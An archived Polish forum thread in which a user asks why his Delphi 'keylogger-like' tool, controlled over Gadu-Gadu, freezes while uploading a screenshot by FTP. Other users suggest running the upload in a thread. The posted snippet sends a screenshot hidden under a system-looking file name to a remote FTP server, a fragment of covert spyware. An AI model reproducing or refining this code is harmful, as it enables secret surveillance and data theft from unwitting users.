Skocz do zawartości

[Delphi]"Wieszanie" sie programu przy wysyłaniu Pliku na FTP!!!


KANAR123

Polecane posty

Mam nastepujący problem otóż stworzyłem coś na wzór keyloggera przez gg i po wydaniu komendy program wysyła plik screena na FTP ale przy tym zawiesza sie komputer... i w zwiazku z tym moje pytanie co zrobic aby tak sie działo??? AntiFreze nie działa.... tak samo jak Application.ProcessMessages; wstawione w timerze o interval'u ustawionym na

1000-1sek ... Macie jakies pomysły z góry dzieki... ;)

Link do komentarza
Udostępnij na innych stronach

Nie wiem po co mam to pokazywac bo kazdy przeciez wie jak sie wysyła plik na FTP a że on zajmuje troche dużo (ok.400KB) to zmula...

KOD

procedure TForm1.Button6Click(Sender: TObject);

begin

try

HGG1.SendMessage((strtoint(edit7.text)) ,('Poczekaj!!') ,[]);

try

IdFTP1.Put('C:\WINDOWS\system\systemsys.jpg', (timetostr(time))+'__'+(datetostr(D))+'_screen.jpg'); //wysyłanie pliku na FTP

finally

HGG1.SendMessage((strtoint(edit7.text)) ,('Screen wyslany!!') ,[]);

end;

except

HGG1.SendMessage((strtoint(edit7.text)) ,('Screen nie zostal wyslany!!') ,[]);

end;

end;

 

 

Procedura robienia screena jest pod inną komendą i działa w 100% a pozatym w tym przypadku nie ma nic wspólnego...

Wszystkie dane sa wpisywane poprawnie i screen dociera ale po odwieszniu kompa...

Link do komentarza
Udostępnij na innych stronach

Mam nastepujący problem otóż stworzyłem coś na wzór keyloggera przez gg i po wydaniu komendy program wysyła plik screena na FTP ale przy tym zawiesza sie komputer... i w zwiazku z tym moje pytanie co zrobic aby tak sie działo??? AntiFreze nie działa.... tak samo jak Application.ProcessMessages; wstawione w timerze o interval'u ustawionym na

1000-1sek ... Macie jakies pomysły z góry dzieki... ;)

 

Nie wrzucaj tego do wątku ;)

Lubię cytryny !

Link do komentarza
Udostępnij na innych stronach

@KANAR123:

1. Jak to ci zawiesza cały komputer? Przecież Windows ma coś takiego jak wywłaszczanie...

2. Skoro to jakiś pseudo-exploit to w czym przeszkadza Ci wolniejsze wywoływanie fragmentu kodu?

3. Nie wiesz o co chodzi z wątkami to odpalasz google, piszesz "threads in delphi" i do boju :PP

4. Zdarzenia timer'a to zwykłe komunikaty WinAPI dostarczane do aplikacji przez GetMessage i wywoływane są w wątku VCL. One ci się wywołują, ale dopiero po zakończeniu działań, lub kiedy zostanie wywołane Application.ProcessMessages, które przetworzy kolejkę komunikatów wywołując GetMessage

 

Tak w ogóle to IdFTP nie ma jakiegoś zdarzenia w stylu onHeartbeat?

Obrazek
Link do komentarza
Udostępnij na innych stronach

W momencie wysyłania 0,5MB pliku komputer sie wiesza na czas wysyłania a potem jak wyśle cały plik odwiesza i działa dalej...

Heh jeszce nie miałem styku z wątkami i jakoś ich nie rozumie

Da sie to jakoś zrobic za pomoca winapi

Nie FTP nie ma takiego zdarzenia...

Link do komentarza
Udostępnij na innych stronach

W momencie wysyłania 0,5MB pliku komputer sie wiesza na czas wysyłania a potem jak wyśle cały plik odwiesza i działa dalej...

Heh jeszce nie miałem styku z wątkami i jakoś ich nie rozumie

Da sie to jakoś zrobic za pomoca winapi

Nie FTP nie ma takiego zdarzenia...

 

skoro ich nie rozumiesz to chyba po to jest google, artykuły i inne rzeczy na necie, żeby je zrozumieć...

Moje projekty: http://wojciechkulik.pl

Link do komentarza
Udostępnij na innych stronach

Za pomocą WinAPI się da, na wątkach :P

Zakładam że łapiesz programowanie obiektowe. Robisz klasę pochodną z TThread, nadpisujesz tam metodę Execute, gdzie wstawiasz kod wysyłania pliku. Następnie w kodzie programu tworzysz obiekt tej klasy z Suspended = true, ustawiasz sobie jakąś wartość ze scieżką do wgrywanego pliku etc. i robisz Resume na wątku...

 

Poza tym jakim prawem zawiesza ci się cały komputer? :|

Coś mieszasz... Powinna sama aplikacja.

 

No jeszcze jest inna możliwość -> zmień bibliotekę do sieci na coś co działa asynchronicznie :-)

 

Mała prośba - popracuj jeszcze nad interpunkcją, np. "Da sie to jakoś zrobic za pomoca winapi" tutaj nie wiadomo czy to pytanie czy co :P

Obrazek
Link do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat jest archiwizowany i nie można dodawać nowych odpowiedzi.

×
×
  • Utwórz nowe...